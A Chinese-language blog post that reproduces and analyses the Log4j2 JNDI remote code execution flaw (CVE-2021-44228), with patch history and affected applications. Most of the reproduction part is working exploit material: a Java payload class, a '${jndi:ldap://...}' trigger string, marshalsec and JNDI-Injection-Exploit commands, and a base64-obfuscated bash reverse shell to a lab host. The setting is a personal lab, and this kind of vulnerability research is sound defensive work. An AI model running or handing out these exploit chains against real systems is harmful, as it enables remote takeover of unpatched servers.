12月11日:Apache Log4j2官方发布了2.15.0 版本,以修复CVE-2021-44228。虽然 2.15.0 版本解决了Message Lookups功能和JNDI 访问方式的问题,但 Log4j团队认为默认启用 JNDI 存在安全风险,且2.15.0版本存在CVE-2021-45046漏洞。

12月13日:Apache Log4j2官方发布了Log4j 2.16.0版本(Java 8或更高版本),该版本删除了Message Lookups功能并默认禁用JNDI功能,并从该版本开始默认禁用JNDI功能,但可以通过将log4j2.enableJndi设置为 true 以启用 JNDI。此外,Log4j现在将协议默认限制为仅java、ldap和ldaps,并将ldap协议限制为只能访问Java原始对象。本地主机以外的主机需要被明确允许。

12月15日:Apache Log4j2官方发布了Apache Log4j 2.12.2版本,该版本修复了CVE-2021-44228和CVE-2021-45046,适用于仍在使用Java 7的用户。

漏洞描述

Apache Log4j2是一个基于Java的日志记录框架。正常情况下,开发者可能会将错误信息写入日志中,可以利用此特点构造特殊的数据请求包,最终触发远程代码执行RCE漏洞。Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。

受影响版本

Apache Log4j 2.0-beta9 - 2.12.1 、Apache Log4j 2.13.0 - 2.15.0-rc1

Java version already patched: 6u211+, 7u201+, 8u191+, 11.0.1+.

注意:2.15.0-rc1 rc1被绕过是说漏洞点确实可以被绕过,但是rc1已经默认了log4j2.formatMsgNoLookups为true 只要不是手贱那也没啥问题

原理分析

该漏洞主要是由于日志在打印时当遇到“${”后,以“:”号作为分割,将表达式内容分割成两部分,前面一部分prefix,后面部分作为key,然后通过prefix去找对应的lookup,通过对应的lookup实例调用lookup方法,最后将key作为参数带入执行,引发远程代码执行漏洞。

漏洞点

LogManager.getLogger().error()
LogManager.getLogger().fatal()

如图如下协议方式都可以利用

com.sun.jndi.rmi.object.trustURLCodebase  设为true 可以在高版本jdk触发漏洞。
logger.info("${jndi:ldap://0c22zc.dnslog.cn}"); error级别的更容易触发,如果不打印info级别信息,则info级别不能触发漏洞。所以优先用error触发。

影响应用

可能的受影响应用包括但不限于如下:

Spring-Boot-strater-log4j2

Apache Struts2

Apache Solr	左边第三个选项,rename

Apache Flink

Apache Druid 一个最上面的框,一个左边第三个选项中添加的框

ElasticSearch

flume

dubbo

Redis

logstash

kafka

漏洞复现

Idea搭建

新建maven工程,pom.xml中引入log4j2依赖:

<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>

Payload.java 注意区分大小写

import java.io.IOException;

public class Payload {
public Payload() {
//直接在构造方法中运行计算器
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}

该exp用于弹出计算器,验证命令执行效果。

test.java

import  org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger; public class test {
public static final Logger logger = LogManager.getLogger(test.class);
public static void main(String[] args){
logger.error("${jndi:ldap://192.168.50.213:9998/Payload}");注意区分大小写
} }

手动将exp.java生成字节码文件,并通过python搭建简易web用于外部访问:

再开一个恶意的ldap服务:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.50.213:9999/#Payload" 9998
注意区分大小写

运行test.java,可以看到ldap服务和web服务都有访问记录:

并且有计算器弹出来,命令执行成功:

并产生了一条错误日志

docker复现
docker pull registry.cn-angzhou.aliyuncs.com/fengxuan/log4j_vuln
docker run -it -d -p 8888:8080 --name log4j_vuln_container registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
docker exec -it log4j_vuln_container /bin/bash
/bin/bash/home/apache-tomcat-8.5.45/bin/startup.sh

执行完以上操作,可以访问存在Apache Log4j远程代码执行漏洞,这里192.168.32.168的ip地址是我安装了docker虚拟机的ip地址,url如下:

http://192.168.32.168:8888/webstudy/hello-fengxuan

由于该漏洞是jndi加载ldap协议就可以触发漏洞,使用

JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar进行ldap协议监听,并提前输入好需要执行的命令,命令如下:

java -jarJNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch/tmp/88888888888" -A 192.168.32.1
-C后面添加的是需要执行的命令
-A后面是监听的IP地址

只要根据JDK的版本,提交不同的ldap

如果JDK 是1.7,可以使用

ldap://192.168.32.1:1389/sjrchi 这个链接是根据自己上面起的ldap服务生成的链接

如果JDK 是1.8,可以使用

ldap://192.168.32.1:1389/fojm7q 这个链接是根据自己上面起的ldap服务生成的链接

通过BurpSuite提交数据包,由于url只接受需POST数据,受影响的参数是c,在验证的时候,一定要加入

Content-Type:application/x-www-form-urlencoded;

已经接收到ldap协议数据

如果Apache Log4j远程代码执行漏洞成功,就会执行命令touch /tmp/88888888888,在tmp目录下建一个88888888888文件

进入docker环境漏洞靶场,查看命令是否执行成功,文件成功被创建

docker exec -it log4j_vuln_container /bin/bash
ls /tmp

通过修改-C里面的命令内容,获取shell

对bash -i >& /dev/tcp/192.168.32.1/220>&1命令进行加密处理

java -jarJNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMyLjEvMjIgMD4mMQ==}|{base64,-d}|{bash,-i}"-A 192.168.32.1

成功获取shell。

CVE 2021-44228 Log4j-2命令执行复现及分析的更多相关文章

  1. Apache Solr远程命令执行复现

    环境 /vulhub/solr/CVE-2019-0193/ 创建一个集合 docker-compose exec solr bash bin/solr create_core -c test -d ...

  2. redis命令执行复现

    攻击机:centos mini 192.168.205.130 靶机:centos 192.168.205.128 影响范围:Redis4.x.5.x 0x01 安装redis包 wget downl ...

  3. Apache Log4j 反序列化代码执行(CVE-2019-17571) 漏洞分析

    Apache Log4j 漏洞分析 仅用于研究漏洞原理,禁止用于非法用途,后果自负!!! CVE-2019-17571 漏洞描述 Log4j是美国阿帕奇(Apache)软件基金会的一款基于Java的开 ...

  4. fastcgi未授权访问及任意命令执行

    1. 漏洞原理 服务端使用fastcgi协议并对外网开放9000端口,攻击者可以构造fastcgi协议包内容,实现未授权访问服务端.php文件以及执行任意命令. 2. 漏洞利用 第一步 搭建vulhu ...

  5. Docker源码分析(二):Docker Client创建与命令执行

    1. 前言 如今,Docker作为业界领先的轻量级虚拟化容器管理引擎,给全球开发者提供了一种新颖.便捷的软件集成测试与部署之道.在团队开发软件时,Docker可以提供可复用的运行环境.灵活的资源配置. ...

  6. 命令执行漏洞攻击&修复建议

    应用程序有时需要调用一些执行系统命令的函数,如在PHP中,使用system.exec.shell_exec.passthru.popen.proc_popen等函数可以执行系统命令.当黑客能控制这些函 ...

  7. tomcat7.x远程命令执行(CVE-2017-12615)漏洞漏洞复现

    tomcat7.x远程命令执行(CVE-2017-12615)漏洞漏洞复现 一.漏洞前言 2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017 ...

  8. struts2(s2-052)远程命令执行漏洞复现

    漏洞描述: 2017年9月5日,Apache Struts发布最新安全公告,Apache Struts2的REST插件存在远程代码执行的高危漏洞,该漏洞由lgtm.com的安全研究员汇报,漏洞编号为C ...

  9. Weblogic wls9_async_response 反序列化远程命令执行漏洞(CVE-2019-2725)复现

    一.     漏洞简介 漏洞编号和级别 CVE编号:CVE-2019-2725,危险级别:高危,CVSS分值:9.8. CNVD 编号:CNVD-C-2019-48814,CNVD对该漏洞的综合评级为 ...

随机推荐

  1. [bzoj1188]分裂游戏

    容易发现所有豆子相互独立,只需要考虑每一个豆子的sg函数并异或起来即可,sg函数从后往前暴力即可 1 #include<bits/stdc++.h> 2 using namespace s ...

  2. 六、Java API操作zookeeper节点

    目录 前文 pom.xml文件增加依赖 新建java文件:ZookeeperTest GitHub文件下载 前文 一.CentOS7 hadoop3.3.1安装(单机分布式.伪分布式.分布式 二.JA ...

  3. vue3 + vite实现异步组件和路由懒加载

    在 Vue2 中,异步组件和路由懒加载处理使用 import 就可以很轻松实现.但是在Vue 3.x 中异步组件的使用与 Vue 2.x 完全不同了.本文就详细讲讲vue3中异步组件和路由懒加载的实现 ...

  4. flutter第一课

    网上搜到有一个8小时体验flutter的教程,感觉可以尝试一个hello world出来:https://www.jianshu.com/p/9aaabc60d8af 官网下载很慢,可以使用镜像下载, ...

  5. Codeforces 1332G - No Monotone Triples(数据结构综合)

    Codeforces 题目传送门 & 洛谷题目传送门 首先打表即可发现对于任意长度 \(\ge 5\) 的序列总存在一个 Monotone triple,证明不会实在不行直接 \(5^5\) ...

  6. [linux] 常用命令及参数-2

    sort 1 sort是把结果输出到标准输出,因此需要输出重定向将结果写入文件 2 sort seq.txt > file.txt 3 sort -u seq.txt 输出去重重复后的行 4 s ...

  7. 学习java 7.26

    学习内容: 进度条是图形界面中广浅个较大的文件时,操作系统会显示一个进度条,用于标识复制操作完成的比例:当启动Eclipse等程序时,因为需要加载较多的资源,故而启动速度较慢,程序也会在启动过程中显示 ...

  8. RTSP, RTP, RTCP, RTMP傻傻分不清?

    RTSP基于TCP传输请求和响应报文,RTP基于UDP传输流媒体数据,RTCP基于UDP传送传输质量信息(如丢包和延迟). 比如喀什一个局域网内10个人同时点播广州的同一个源,喀什和广州之间就要传10 ...

  9. Spark(十七)【SparkStreaming需求练习】

    目录 一.环境准备 1.pom文件 2.bean 3.工具类 JDBCUtils Properties工具类 3.创建BaseApp 需求一:动态添加黑名单 需求二:广告点击量实时统计 需求三:最近一 ...

  10. 零基础学习java------day2------关键字、标志符、常量、进制键的转换、java中的数据类型、强制类型转换的格式

    今日内容要求: 1. 了解关键字的概念及特点,了解保留字 2. 熟练掌握标识符的含义,特点,可使用字符及注意事项 3. 了解常量的概念,进制,进制之间相互转换,了解有符号标识法的运算方式 4. 掌握变 ...